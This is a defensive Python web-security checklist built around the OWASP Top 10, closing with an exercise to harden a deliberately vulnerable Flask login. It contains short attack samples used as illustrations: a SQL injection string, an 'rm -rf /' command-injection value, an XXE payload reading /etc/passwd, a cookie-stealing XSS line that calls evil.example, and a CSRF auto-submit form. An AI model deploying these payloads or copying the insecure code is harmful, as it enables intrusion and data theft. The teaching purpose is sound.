Web Security Checklist
1 · The lesson
readExamples shown in Flask/FastAPI shape. Run locally with the framework installed; auth flows need a running server. Expected output shown in comments.
You've built authentication, you've hashed your passwords, you've wired up OAuth. None of that helps if your app concatenates SQL strings, runs pickle.load on a webhook body, or ships with DEBUG=True. This lesson is the OWASP-Top-10-flavoured walkthrough of the other security work that has to happen alongside authentication — the ten categories that account for almost every real-world Python web compromise, plus the practical extras the OWASP list doesn't cover (CSRF, rate limiting, dependency auditing, security headers).
Read it as a pre-flight checklist. Each item has the same shape: what it is, how it's exploited, how to defend.
1. Injection
What it is. Building queries or commands by string-concatenating user input.
Exploit. Login form, username field: admin' OR '1'='1' --. Concatenated naively into SQL, it returns the admin user without a password.
# CATASTROPHIC cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) cursor = _AutoMock('cursor') email = _AutoMock('email')
Defend. Parameterised queries, always. The DB driver substitutes safely:
# SAFE cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
setup added so this can run · defines cursor, email
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) cursor = _AutoMock('cursor') email = _AutoMock('email')
Covered in databases. Same lesson for NoSQL — MongoDB injection via {"$ne": null} is real; never accept raw operator dictionaries from a request body.
Command injection — same class, different surface:
# CATASTROPHIC — user="foo; rm -rf /" subprocess.run(f"convert {user_file} output.png", shell=True) # SAFE — argument list, no shell subprocess.run(["convert", user_file, "output.png"])
setup added so this can run · defines subprocess, user_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) subprocess = _AutoMock('subprocess') user_file = _AutoMock('user_file')
shell=True with any user input is a recipe for disaster. Always pass a list; never construct command strings by concatenation.
2. Broken Authentication
What it is. Weak password hashing, predictable tokens, missing MFA, leaky errors.
The big ones are already covered: auth-passwords (hashing, sessions, cookies, rate-limiting) and auth-jwt (JWT validation pitfalls). One extra here:
Account enumeration via differentiated errors.
# CATASTROPHIC — leaks which emails are registered if user is None: return "no account with that email", 404 if not verify(user.password, supplied): return "wrong password", 401
An attacker scrapes a million emails, hits /login for each, and learns which ones have accounts on your site. That's a targeted phishing list.
Defend. Return the same generic error for both branches:
if user is None or not verify(user.password, supplied): return "invalid credentials", 401
Same response time too — if the missing-user branch is fast and the password-check branch takes 250ms, you've leaked enumeration via timing. Do a dummy hash on the missing-user path:
DUMMY_HASH = svc.hash_password("dummy") # done once at module load if user is None: svc.verify(DUMMY_HASH, supplied) # consume the same time return "invalid credentials", 401
3. Sensitive Data Exposure
What it is. Secrets, PII, payment data shipped over HTTP, logged in plain text, or stored unencrypted.
Defend, layer by layer:
- HTTPS everywhere. Let's Encrypt + a reverse proxy (nginx, Caddy) is free. Redirect HTTP → HTTPS at the load balancer. Set the HSTS header (Section 13).
- Don't log secrets. Mask in repr; never
print(dict(os.environ)). See envconfig. - Encrypt sensitive fields at rest when they're more sensitive than the DB itself: Stripe keys, integration tokens, anything regulated. The
cryptographypackage'sFernetis the easy primitive:
python
from cryptography.fernet import Fernet
key = os.environ["FIELD_ENCRYPTION_KEY"] # 32 bytes base64
f = Fernet(key)
ciphertext = f.encrypt(b"sk_live_abc123")
plaintext = f.decrypt(ciphertext)
Secureflag on every auth cookie, as in auth-passwords Section 8.
4. XML External Entities (XXE)
What it is. XML parsers that resolve external entities can be tricked into reading local files or making network requests.
Exploit. A user uploads:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
Your xml.etree.ElementTree.parse(...) happily reads /etc/passwd and embeds it in the parsed tree.
Defend. Use defusedxml for any XML from an untrusted source:
pip install defusedxml
from defusedxml.ElementTree import parse # NOT xml.etree tree = parse(uploaded_file)
setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) uploaded_file = _AutoMock('uploaded_file')
Same API as xml.etree, with external entity processing disabled. If you don't need XML, prefer JSON; if you must parse XML, never use the stdlib parsers directly on user input.
5. Broken Access Control — IDOR
What it is. Insecure Direct Object Reference — your endpoint looks up resources by ID without checking the caller owns them.
Exploit.
@app.get("/api/orders/<int:order_id>") @login_required def get_order(order_id): return Order.query.get(order_id).to_json() # BUG — any logged-in user sees any order
setup added so this can run · defines login_required, app, Order
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) login_required = _AutoMock('login_required') app = _AutoMock('app') Order = _AutoMock('Order')
Attacker logs in to their own account, fetches /api/orders/1, /api/orders/2, … and walks every order in the database.
Defend. Always scope the query by the current user:
@app.get("/api/orders/<int:order_id>") @login_required def get_order(order_id): order = Order.query.filter_by(id=order_id, user_id=current_user.id).first() if order is None: abort(404) # 404, not 403 — don't leak existence return order.to_json()
setup added so this can run · defines login_required, app, abort, Order, current_user
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) login_required = _AutoMock('login_required') app = _AutoMock('app') def abort(*_a, **_kw): print('-> abort() called') return _AutoMock('abort()') Order = _AutoMock('Order') current_user = _AutoMock('current_user')
The filter does double duty: it's a permission check and a query in one. Same pattern in any ORM:
# Django Order.objects.get(id=order_id, user=request.user) # SQLAlchemy session.query(Order).filter_by(id=order_id, user_id=current_user.id).one()
setup added so this can run · defines order_id, Order, request, current_user, session
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) order_id = _AutoMock('order_id') Order = _AutoMock('Order') request = _AutoMock('request') current_user = _AutoMock('current_user') session = _AutoMock('session')
For admin endpoints, check the role explicitly. For "shared" resources (a doc shared with multiple users), check via a permissions table — but always check, on every request, against the authenticated user.
6. Security Misconfiguration
What it is. Default credentials, debug pages exposed, missing headers, verbose error pages in production.
The Flask one.
# CATASTROPHIC in production app.run(debug=True) # /console with a Python shell!
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
debug=True exposes the Werkzeug debugger — an interactive Python console accessible from any browser that hits a 500 page. If your app is ever publicly reachable with that on, treat the box as compromised.
Defend.
FLASK_ENV=productionandDEBUG=False(or just don't setDEBUG=True) in any non-dev environment.- Same for Django:
DEBUG=Falsein prod;ALLOWED_HOSTSpopulated. - No default credentials on admin endpoints. No
admin/adminaccounts. - Don't expose
/admin,/.git,/wp-admin(you'd be surprised). Audit your routes. - Configure security headers (Section 13).
- Return generic 500 pages in production, log the full traceback server-side.
7. XSS — Cross-Site Scripting
What it is. User-supplied content rendered into a page without escaping, executing as script in other users' browsers.
Exploit. Comment form: <script>fetch('https://evil.example/?c=' + document.cookie)</script>. The next user who loads the page exfiltrates their session cookie (if it weren't HttpOnly — see auth-passwords Section 8).
Defend.
Jinja2 (Flask) and Django templates auto-escape by default. The trap is |safe:
{{ comment.body }} {# safe — escaped #}
{{ comment.body | safe }} {# DANGEROUS — raw HTML #}Use |safe only when you've already sanitised the input (e.g. you've run a markdown-to-HTML pass through bleach). Never on raw user input.
For user-supplied URLs in href="...", validate the scheme — javascript: URLs in an <a href> execute JS on click:
from urllib.parse import urlparse def safe_url(url): return urlparse(url).scheme in ("http", "https", "")
For JSON APIs that go to a JS frontend, you don't have a server-side template, but the client still needs to escape — never innerHTML = user_content. Use textContent or framework auto-escaping (React, Vue, Svelte).
Never eval() anything that came from a user. Same for exec(). There is no safe use of those on untrusted input.
Defence in depth: Content-Security-Policy header — see Section 13. A strict CSP makes most XSS unexploitable even if you slip up in escaping.
8. Insecure Deserialisation
What it is. Calling pickle.load, yaml.load (unsafe), or marshal.loads on untrusted input.
Exploit. pickle.load is arbitrary code execution by design. An attacker who can supply a pickle byte string runs any Python code in your process:
import pickle # DO NOT — running this on a malicious pickle = RCE data = pickle.load(uploaded_file)
setup added so this can run · defines uploaded_file
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) uploaded_file = _AutoMock('uploaded_file')
Defend. Pickles are for trusted, internal data — cache files your own server wrote, queue payloads on a private network. Never from a public endpoint, never from a webhook body.
- For JSON,
json.loadsis safe — JSON doesn't execute code. - For YAML,
yaml.safe_load, notyaml.load. The latter can instantiate arbitrary Python objects. - For schema-validated parsing, Pydantic or
marshmallowwith explicit field types. The schema acts as a typed allowlist.
9. Components with Known Vulnerabilities
What it is. Your requirements.txt contains a library with a published CVE.
Exploit. Someone scans your site, fingerprints the framework/version, looks up the CVE, exploits.
Defend. Scan your dependencies. Two tools:
pip install pip-audit pip-audit # scans the active env # or, in CI pip-audit --requirement requirements.txt
pip install safety safety check
pip-audit is maintained by PyPA and uses the official PyPI vulnerability database. Run it in CI on every PR — automated in GitHub Actions (see devops-github-actions). Failing the build on a critical CVE is cheap insurance.
Update regularly. Pinned-and-never-updated dependencies become liabilities. Dependabot or Renovate automates the PRs.
10. Insufficient Logging & Monitoring
What it is. You can't respond to an incident you can't see.
Defend. Log, at minimum:
- Authentication events — success, failure, lockouts.
- Authorisation failures — 403s, IDOR-blocked attempts.
- Admin actions — user role changes, deletions, config changes.
- Anything money-related — payments, refunds, balance changes.
What NOT to log:
- Passwords. Ever.
- Full session tokens or JWTs.
- Credit card numbers (PCI scope).
- Full request bodies on auth endpoints.
Ship logs to an aggregator — Sentry, Datadog, Loki, CloudWatch. The fact that the log line exists on the production box doesn't help when the box itself is compromised.
Have an incident response plan, even if it's a one-page doc: who's paged, what's the first action, how do we communicate to users. Practicing it once a year beats reading a polished plan for the first time at 3 AM.
11. CSRF — Cross-Site Request Forgery
What it is. A malicious site triggers an authenticated request to your site from the user's browser — credentials (cookies) ride along automatically.
Exploit. User is logged into bank.com (auth cookie set). User visits evil.com, which has:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker-account">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>Browser sends the POST to bank.com with the auth cookie. Bank server, knowing nothing's amiss, transfers the money.
Defend.
SameSite=Lax(orStrict) on the session cookie. Single most effective defence. Modern browsers default toLax, but set it explicitly.- CSRF tokens for cookie-authenticated forms. Flask-WTF and Django both provide them by default. FastAPI doesn't have built-in CSRF — add it (
fastapi-csrf-protectlibrary, or roll the double-submit pattern). - Bearer-token APIs are not vulnerable. The browser doesn't automatically attach an
Authorizationheader; the JS code onevil.comwould have to know the token and add it manually, which is the XSS problem, not CSRF.
Cookie-authenticated browsers need CSRF protection. Token-authenticated APIs don't (but they need other defences — see XSS and storage discussion in auth-jwt Section 7).
12. Rate Limiting
What it is. Limits on requests per IP, per user, per endpoint.
Why. Login brute-force, password-reset spam, scraping, denial-of-wallet on metered APIs, comment flooding. All cheap attacks against an unprotected endpoint.
Tools:
| Framework | Library |
|---|---|
| Flask | flask-limiter |
| FastAPI | slowapi |
| Django | django-ratelimit |
# Flask from flask_limiter import Limiter from flask_limiter.util import get_remote_address limiter = Limiter(app, key_func=get_remote_address, default_limits=["1000 per hour"]) @app.post("/login") @limiter.limit("5 per minute") def login(): ... @app.post("/api/expensive") @limiter.limit("10 per minute") def expensive(): ...
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
Tighter limits on the dangerous endpoints (login, signup, password reset, anything with a side effect on a third-party API). Looser limits on read endpoints.
For distributed deployments, back the limiter with Redis so all instances share the counter — without that, a 5-per-minute limit becomes 5-per-minute-per-instance.
13. Security Headers
A handful of HTTP response headers materially reduce attack surface. Set them once, everywhere.
| Header | What it does |
|---|---|
Strict-Transport-Security (HSTS) | Tells browsers "only ever load this site over HTTPS." max-age=31536000; includeSubDomains; preload. |
Content-Security-Policy | Restricts where scripts/styles/images can load from. Top XSS defence-in-depth. |
X-Frame-Options: DENY | Prevents your site being framed (clickjacking defence). Superseded by CSP frame-ancestors, but still respected by older browsers. |
X-Content-Type-Options: nosniff | Browsers don't second-guess Content-Type — closes a class of MIME-confusion attacks. |
Referrer-Policy: strict-origin-when-cross-origin | Stops leaking URL paths (and any tokens in query strings) to third-party sites. |
Permissions-Policy | Disables browser features your site doesn't need (camera, mic, geolocation). |
Don't roll these by hand. The libraries that do it for you:
# Flask pip install flask-talisman
from flask_talisman import Talisman Talisman(app, content_security_policy={ "default-src": "'self'", "script-src": "'self' https://cdn.example.com", "style-src": "'self' 'unsafe-inline'", "img-src": "'self' data:", })
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
For FastAPI, the secure package, or middleware that sets the headers explicitly. For Django, django-csp plus the built-in security middleware.
Check your site against Mozilla Observatory (observatory.mozilla.org) — it grades your headers and tells you what's missing.
14. CSRF Protection — The Code
The cleanest pattern, beyond what the framework gives you, is double-submit cookie: a random token in a cookie and in a request header; the server checks they match. Frameworks have it built in:
# Flask-WTF from flask_wtf.csrf import CSRFProtect CSRFProtect(app) # all POST/PUT/DELETE require the token
setup added so this can run · defines app
# Lightweight mock for objects whose attributes/methods aren't critical class _AutoMock: def __init__(self, name='mock'): self._name = name def __getattr__(self, k): return _AutoMock(self._name + '.' + k) def __call__(self, *a, **kw): print('-> ' + self._name + '() called') return _AutoMock(self._name + '()') def __repr__(self): return '<mock ' + self._name + '>' def __str__(self): return '<mock ' + self._name + '>' def __bool__(self): return True def __iter__(self): return iter([]) def __len__(self): return 0 def __getitem__(self, k): return _AutoMock(self._name + '[...]') def __setitem__(self, k, v): pass def __enter__(self): return self def __exit__(self, *a): return False async def __aenter__(self): return self async def __aexit__(self, *a): return False def __add__(self, o): return self def __radd__(self, o): return self def __sub__(self, o): return self def __mul__(self, o): return self def __rmul__(self, o): return self def __truediv__(self, o): return self def __eq__(self, o): return isinstance(o, _AutoMock) def __hash__(self): return hash(self._name) def __lt__(self, o): return True def __le__(self, o): return True def __gt__(self, o): return False def __ge__(self, o): return False def __mro_entries__(self, bases): return (object,) app = _AutoMock('app')
In the template, render {{ csrf_token() }} into a hidden form input. Done.
For SPAs with cookie auth, expose the CSRF token via a Set-Cookie without HttpOnly (so JS can read it) and require it as a custom header on every state-changing request.
15. Input Validation at Boundaries
Never trust client-side validation alone. It's there for UX; the security check happens on the server.
- FastAPI: Pydantic models are the validation. Field types, regex constraints, min/max — declarative, run on every request, fail loudly.
- Django: forms (
forms.Form) and DRF serializers. - Flask:
WTForms,pydantic, ormarshmallow— pick one and use it everywhere.
from pydantic import BaseModel, EmailStr, conint class SignupRequest(BaseModel): email: EmailStr age: conint(ge=13, le=150) name: str # FastAPI will reject if missing
A malformed request is rejected at the parsing step, before any business logic runs. Saves an entire class of "the field was null and we trusted it" bugs.
16. Secret Management
For local dev: .env plus python-dotenv, gitignored — see envconfig.
For production:
| Tool | Where it fits |
|---|---|
| AWS Secrets Manager | AWS-native; automatic rotation. |
| GCP Secret Manager | GCP-native equivalent. |
| Azure Key Vault | Azure equivalent. |
| HashiCorp Vault | Self-hosted, multi-cloud, fine policy. |
| Doppler / 1Password Secrets | Hosted developer-friendly. |
All inject secrets into the process environment, so your code keeps reading os.environ["X"]. No secret ever lives in the repo.
17. Common Mistakes
1. Trusting client-side validation alone. Devtools removes any required attribute in three clicks. Validate on the server, always.
2. Security by obscurity. A "hidden" /admin-secret-7f3a URL is one log leak away from being public. The URL is not the security boundary — the auth check is.
3. Rolling your own crypto. Same point as in auth-passwords. You will lose to a researcher with a CVE-numbering form on speed-dial.
4. Turning off CSRF "because it's annoying". It's annoying because your form is missing the token field. Don't disable; fix the form.
5. Accidentally logging passwords. A debug logger.info(f"form: {request.form}") ships every password to your log aggregator. Audit any logging on auth endpoints.
6. pip install from a typo. Typosquatting — pip install python-dateutils (extra s) installs a malicious package. Spell carefully; use a pip lockfile (pip-tools, uv, Poetry) that records exact names and hashes.
7. DEBUG=True in production. Werkzeug debugger or Django's verbose 500s leak source code, env vars, sometimes a live Python shell. Pin DEBUG=False, fail loudly on startup if it's True outside dev.
8. CORS too permissive. Access-Control-Allow-Origin: * plus Allow-Credentials: true is a credential-leakage configuration. Use a strict allowlist of origins.
🎯 Your Turn — Harden a Vulnerable Flask Endpoint
You're handed a deliberately-insecure login endpoint. It has at least four problems:
1. SQL injection — email is concatenated into the query.
2. Account enumeration — different error messages for "no such user" vs "wrong password".
3. No CSRF protection — POST endpoint, cookie-authenticated, no token.
4. No rate limit — open to brute-force.
Produce a hardened version. Use argon2-cffi for password verification (assume users table stores argon2 hashes).
Skeleton:
import sqlite3 from flask import Flask, request, session app = Flask(__name__) app.secret_key = "DEBUG-not-for-prod" # FIX 0: use os.environ in real life DB = sqlite3.connect("app.db", check_same_thread=False) @app.post("/login") def login_vulnerable(): email = request.form["email"] password = request.form["password"] # BUG 1 — SQL injection row = DB.execute(f"SELECT id, password FROM users WHERE email = '{email}'").fetchone() if row is None: # BUG 2 — distinct error reveals "no such user" return "no account with that email", 404 user_id, stored_hash = row if stored_hash != password: # BUG: comparing plaintext (also: not hashed) return "wrong password", 401 # BUG 3 — no CSRF defence on this cookie-auth POST # BUG 4 — no rate limit, brute-force open session["user_id"] = user_id return "ok"
Hint 1 — Fix in the right order
1. Parameterise the query ("... WHERE email = ?", (email,)). 2. Replace plaintext compare with PasswordService.verify(...) from auth-passwords. 3. Return one generic error for both branches; do a dummy-hash on the missing-user path to equalise timing. 4. Add flask-limiter decorator. 5. Add CSRFProtect(app) at the top.
Hint 2 — Session fixation while you're there
Once the password check passes,session.clear() before writing session["user_id"] — defeats session fixation (see auth-passwords Section 9). Free win on the same line.
Show full solution
import os import sqlite3 from flask import Flask, request, session from flask_wtf.csrf import CSRFProtect from flask_limiter import Limiter from flask_limiter.util import get_remote_address from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError, VerifyError app = Flask(__name__) app.secret_key = os.environ["FLASK_SECRET"] # FIX 0: env-driven, never hardcoded app.config.update( SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SECURE=True, SESSION_COOKIE_SAMESITE="Lax", ) CSRFProtect(app) # FIX 3: CSRF tokens enforced limiter = Limiter(app=app, key_func=get_remote_address) # FIX 4: rate limiting DB = sqlite3.connect("app.db", check_same_thread=False) ph = PasswordHasher() # One dummy hash, computed at startup, used to equalise login timing on missing users _DUMMY_HASH = ph.hash("dummy-password-not-real") @app.post("/login") @limiter.limit("5 per minute; 50 per hour") # FIX 4 def login(): email = request.form.get("email", "").strip().lower() password = request.form.get("password", "") if not email or not password: return "invalid credentials", 401 # FIX 2: generic message # FIX 1: parameterised query — sqlite3 driver does the escaping row = DB.execute( "SELECT id, password FROM users WHERE email = ?", (email,), ).fetchone() if row is None: # Equalise timing — consume the same ~250ms argon2 path as a real user try: ph.verify(_DUMMY_HASH, password) except (VerifyMismatchError, VerifyError): pass return "invalid credentials", 401 # FIX 2: same message as below user_id, stored_hash = row try: ph.verify(stored_hash, password) except (VerifyMismatchError, VerifyError): return "invalid credentials", 401 # FIX 2: same message as above # Transparent rehash on cost-factor changes if ph.check_needs_rehash(stored_hash): new_hash = ph.hash(password) DB.execute("UPDATE users SET password = ? WHERE id = ?", (new_hash, user_id)) DB.commit() session.clear() # session fixation defence session["user_id"] = user_id return "ok" # In the template that renders the login form: # <form method="POST" action="/login"> # <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"> # <input name="email" type="email" required> # <input name="password" type="password" required> # <button type="submit">Sign in</button> # </form>
setup added so this can run · defines
import os # noqa: F401 os.environ.setdefault("FLASK_SECRET", "example-flask-secret")
What changed and why:
| Fix | Defends against |
|---|---|
Parameterised query (? + tuple) | SQL injection — driver escapes |
argon2 verify (not ==) | Plaintext passwords, timing attacks (verify is constant-time inside) |
| Single generic "invalid credentials" | Account enumeration via differentiated errors |
_DUMMY_HASH on missing-user path | Enumeration via response-time difference |
CSRFProtect(app) + token in form | CSRF on cookie-auth POST |
@limiter.limit("5 per minute") | Brute-force password attempts |
session.clear() before write | Session fixation |
HttpOnly, Secure, SameSite cookie flags | XSS exfiltration, downgrade, cross-site cookie attachment |
ph.check_needs_rehash on success | Cost-factor drift over years |
Env-driven secret_key | Hardcoded secrets in git history |
